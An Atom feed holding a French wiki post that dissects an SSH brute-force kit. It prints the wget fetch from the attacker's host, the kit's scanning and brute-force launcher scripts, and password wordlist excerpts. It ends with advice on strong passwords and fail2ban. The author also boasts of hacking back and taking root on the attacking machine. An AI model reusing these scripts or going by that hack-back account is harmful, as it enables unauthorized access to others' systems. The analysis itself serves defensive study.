<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://futex.re/mediawiki/index.php?action=history&amp;feed=atom&amp;title=D%C3%A9corticage_d%27une_petite_attaque</id>
	<title>Décorticage d&#039;une petite attaque - Historique des versions</title>
	<link rel="self" type="application/atom+xml" href="https://futex.re/mediawiki/index.php?action=history&amp;feed=atom&amp;title=D%C3%A9corticage_d%27une_petite_attaque"/>
	<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=D%C3%A9corticage_d%27une_petite_attaque&amp;action=history"/>
	<updated>2026-05-13T15:39:16Z</updated>
	<subtitle>Historique des versions pour cette page sur le wiki</subtitle>
	<generator>MediaWiki 1.39.17</generator>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=D%C3%A9corticage_d%27une_petite_attaque&amp;diff=1668&amp;oldid=prev</id>
		<title>Futex le 29 juillet 2012 à 17:46</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=D%C3%A9corticage_d%27une_petite_attaque&amp;diff=1668&amp;oldid=prev"/>
		<updated>2012-07-29T17:46:05Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Nouvelle page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Il y a quelques temps, plusieurs IP on essayé de brute forcer mon serveur SSH. L&amp;#039;attaque a vite été bloquer et la contre attaque lancé illico grâce à quelques scripts fait maison. &lt;br /&gt;
J&amp;#039;ai pus prendre le contrôle de la machine attaquante, en root tant qu&amp;#039;à faire...&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
En me baladant sur la machine, j&amp;#039;ai pus comprendre leur méthode d&amp;#039;attaque. Il m&amp;#039;a suffit de regarder l&amp;#039;activité sur la machine via un top, des process ssh-scan tournaient en boucle et occupaient toute la CPU. Un bête find m&amp;#039;a permis de mettre la main sur le binaire. Mieux, en fouillant les historiques de la machine savoir d&amp;#039;où il provenait. Un wget m&amp;#039;indiquant tout:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
  wget http://joe.sexyi.am/joe/jumHs.tgz&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
J&amp;#039;ai donc téléchargé l&amp;#039;archive pour analyser ça dans une VM. Et comme dans les sources le pirate a indiquer de ne pas partager, je le partage :)&amp;lt;br&amp;gt;&lt;br /&gt;
Elle se compose de plusieurs fichiers tous exécutables&lt;br /&gt;
&lt;br /&gt;
  auto: Bourne-Again shell script text executable&lt;br /&gt;
  autogo: Bourne-Again shell script text executable&lt;br /&gt;
  autogo1: Bourne-Again shell script text executable&lt;br /&gt;
  autogo2: Bourne-Again shell script text executable&lt;br /&gt;
  common: ASCII C++ program text&lt;br /&gt;
  crack: Bourne-Again shell script text executable&lt;br /&gt;
  gen-pass.sh: Bourne-Again shell script text executable&lt;br /&gt;
  go: Bourne-Again shell script text executable&lt;br /&gt;
  goeth1: Bourne-Again shell script text executable&lt;br /&gt;
  goeth2: Bourne-Again shell script text executable&lt;br /&gt;
  mass: Bourne-Again shell script text executable&lt;br /&gt;
  pass_file: ASCII C++ program text&lt;br /&gt;
  pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped&lt;br /&gt;
  screen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped&lt;br /&gt;
  ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped&lt;br /&gt;
  ssh-scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped&lt;br /&gt;
  start: Bourne-Again shell script text executable&lt;br /&gt;
  vuln.txt: empty&lt;br /&gt;
&lt;br /&gt;
Les scripts auto* ne sont que des lanceurs d&amp;#039;une autre commande fessant le bruteforce en prenant une IP en paramètre&lt;br /&gt;
&lt;br /&gt;
auto:&lt;br /&gt;
  #!/bin/bash&amp;lt;br&amp;gt;&lt;br /&gt;
  ./start $1.0&lt;br /&gt;
  ./start $1.1&lt;br /&gt;
  ./start $1.2&lt;br /&gt;
  ./start $1.3&lt;br /&gt;
  ./start $1.4&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
autogo:&lt;br /&gt;
  #!/bin/bash&amp;lt;br&amp;gt;&lt;br /&gt;
  ./go $1.0&lt;br /&gt;
  ./go $1.1&lt;br /&gt;
  ./go $1.2&lt;br /&gt;
  ./go $1.3&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
autogo1:&lt;br /&gt;
  #!/bin/bash&amp;lt;br&amp;gt;&lt;br /&gt;
  ./goeth1 $1.0&lt;br /&gt;
  ./goeth1 $1.1&lt;br /&gt;
  ./goeth1 $1.2&lt;br /&gt;
  ./goeth1 $1.3&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
autogo2:&lt;br /&gt;
  #!/bin/bash&amp;lt;br&amp;gt;&lt;br /&gt;
  ./goeth2 $1.0&lt;br /&gt;
  ./goeth2 $1.1&lt;br /&gt;
  ./goeth2 $1.2&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
common est une wordlist:&lt;br /&gt;
  000&lt;br /&gt;
  0000&lt;br /&gt;
  00000&lt;br /&gt;
  ..&lt;br /&gt;
  brothel&lt;br /&gt;
  bruce&lt;br /&gt;
  bruno&lt;br /&gt;
  bryan&lt;br /&gt;
  bryce&lt;br /&gt;
  bryn&lt;br /&gt;
  bsd&lt;br /&gt;
  bumbling&lt;br /&gt;
&lt;br /&gt;
crack un autre script shell:&lt;br /&gt;
  echo &amp;quot;${RED}             Private!${RES} &amp;quot;&lt;br /&gt;
  echo &amp;quot;${WHI}   **************************${RES} &amp;quot;&lt;br /&gt;
  echo &amp;quot;${RED}       Powered By JuMpEr${DWHI}&amp;quot;&lt;br /&gt;
  rm -rf mfu.txt&lt;br /&gt;
  sleep 5&lt;br /&gt;
  echo &amp;quot;$1&amp;quot; &amp;gt; mfu.txt&lt;br /&gt;
  oopsnr2=`grep -c . mfu.txt`&lt;br /&gt;
  sleep 5&lt;br /&gt;
  sleep 2&lt;br /&gt;
  ./ssh-scan 270&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  rm -rf  *.pscan.22&lt;br /&gt;
&lt;br /&gt;
gen-pass.sh:&lt;br /&gt;
&lt;br /&gt;
  #!/bin/bash&amp;lt;br&amp;gt;&lt;br /&gt;
  users=$1;&lt;br /&gt;
  pass=$2;&amp;lt;br&amp;gt;&lt;br /&gt;
  if [ ! -f &amp;quot;$users&amp;quot; -o ! -f &amp;quot;$pass&amp;quot; ] ; then &lt;br /&gt;
        echo &amp;quot;File not found&amp;quot;;&lt;br /&gt;
        exit;&lt;br /&gt;
  fi&amp;lt;br&amp;gt;&lt;br /&gt;
  rm -f pass_file&amp;lt;br&amp;gt;&lt;br /&gt;
  for m_user in $(cat $users) ; do &lt;br /&gt;
    for m_pass in $(cat $pass) ; do &lt;br /&gt;
      echo &amp;quot;$m_user $&lt;br /&gt;
      m_pass&amp;quot; &amp;gt;&amp;gt;pass_file&lt;br /&gt;
    done&lt;br /&gt;
  done&lt;br /&gt;
&lt;br /&gt;
go:&lt;br /&gt;
  echo &amp;quot;${RED}             Private!${RES} &amp;quot;&lt;br /&gt;
  echo &amp;quot;${WHI}   **************************${RES} &amp;quot;&lt;br /&gt;
  echo &amp;quot;${RED}       Powered By JuMpEr${BLK}&amp;quot;&lt;br /&gt;
  ./ss 22 -b $1 -i eth0 -s 7&lt;br /&gt;
  sleep 7&lt;br /&gt;
  cat bios.txt |sort | uniq &amp;gt; mfu.txt&lt;br /&gt;
  oopsnr2=`grep -c . mfu.txt`&lt;br /&gt;
  echo &amp;quot;${RED}        Found: ${WHI}$oopsnr2${RED} Servers ${RES} &amp;quot;&lt;br /&gt;
  sleep 5&lt;br /&gt;
  echo &amp;quot;${RED}           BruteForce: ${GRN} &amp;quot;&lt;br /&gt;
  ./ssh-scan 270&lt;br /&gt;
  sleep 15&lt;br /&gt;
  rm -rf mfu.txt bios.txt&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
goeth1 même chose que le script go avec juste cette ligne qui change:&lt;br /&gt;
  ./ss 22 -b $1 -i eth1 -s 7&lt;br /&gt;
goeth2 pareil&lt;br /&gt;
  ./ss 22 -b $1 -i eth2 -s 7&lt;br /&gt;
&lt;br /&gt;
mass un autre lanceur:&lt;br /&gt;
&lt;br /&gt;
  #!/bin/bash&amp;lt;br&amp;gt;&lt;br /&gt;
  ./start $1.255&lt;br /&gt;
  ./start $1.254&lt;br /&gt;
  ./start $1.253&lt;br /&gt;
  ./start $1.252&lt;br /&gt;
  ./start $1.251&lt;br /&gt;
&lt;br /&gt;
passfile une wordlist:&lt;br /&gt;
  root ASTA-NU-E-BUN&lt;br /&gt;
  root redhat&lt;br /&gt;
  root 7hur@y@t3am$#@!(*(&lt;br /&gt;
  root lolitanebuna&lt;br /&gt;
  root shit&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
pscan2: un scanner de port, appeller comme ceci:&lt;br /&gt;
  # ./pscan2 188.61 22&lt;br /&gt;
Il copiera les IP des serveurs possédant le port 22 en écoute dans un fichier 188.61.pscan.22&lt;br /&gt;
&lt;br /&gt;
screen: L&amp;#039;outil screen pour sauvegarder et restaurer ses sessions shell.&lt;br /&gt;
&lt;br /&gt;
ss: Ce binaire va juste ce contenter de vérifier la présence d&amp;#039;un serveur SSH sur le port 22. Si oui mettrait l&amp;#039;ip dans bios.txt.&lt;br /&gt;
&lt;br /&gt;
ssh-scan: bruteforce ssh, il va parcourir le fichier mfut.txt et lancer en background les attaques.&lt;br /&gt;
&lt;br /&gt;
start:&lt;br /&gt;
  echo &amp;quot;${RED}             Private!${RES} &amp;quot;&lt;br /&gt;
  echo &amp;quot;${WHI}   **************************${RES} &amp;quot;&lt;br /&gt;
  echo &amp;quot;${RED}       Powered By JuMpEr${DWHI}&amp;quot;&lt;br /&gt;
  rm -rf *.pscan.22 mfu.txt&lt;br /&gt;
  sleep 1&lt;br /&gt;
  ./pscan2 $1 22 &lt;br /&gt;
  sleep 5&lt;br /&gt;
  cat $1.pscan.22 |sort |uniq &amp;gt; mfu.txt&lt;br /&gt;
  oopsnr2=`grep -c . mfu.txt`&lt;br /&gt;
  echo &amp;quot;${RED}        Found: ${WHI}$oopsnr2${RED} Servers ${RES} &amp;quot;&lt;br /&gt;
  sleep 5&lt;br /&gt;
  echo &amp;quot;${RED}           BruteForce: ${GRN} &amp;quot;&lt;br /&gt;
  ./ssh-scan 270&lt;br /&gt;
  sleep 15&lt;br /&gt;
  rm -rf mfu.txt *.pscan.22&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
  echo &amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et vuln.txt qui contiendra les IP piraté avec le compte et le pass. Pas la peine de demander, je ne mettrai pas son contenu :)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Bref à l&amp;#039;heure au j&amp;#039;écris ses lignes, je suis tombé sur une trentaine de serveurs qui utilisent cette méthode pour tenter des prises de contrôle hasardeuses. Et malgrès la simplicité apparente (ces pirates auraient besoin de cours de programmation...), ils arrivent à prendre le contrôle d&amp;#039;un paquet de machines. J&amp;#039;ai déjà vu des vuln.txt de plusieurs centaines de MO contenant les comptes d&amp;#039;accès de switchs d&amp;#039;universités et même des URL en .gov ...&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Comme toujours, la partie la plus importante de la sécurité, c&amp;#039;est de bons mots de passe! &lt;br /&gt;
On peut aussi bloquer simplement les attaques de bruteforce avec fail2ban. Très simple à utiliser et à configurer.&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
</feed>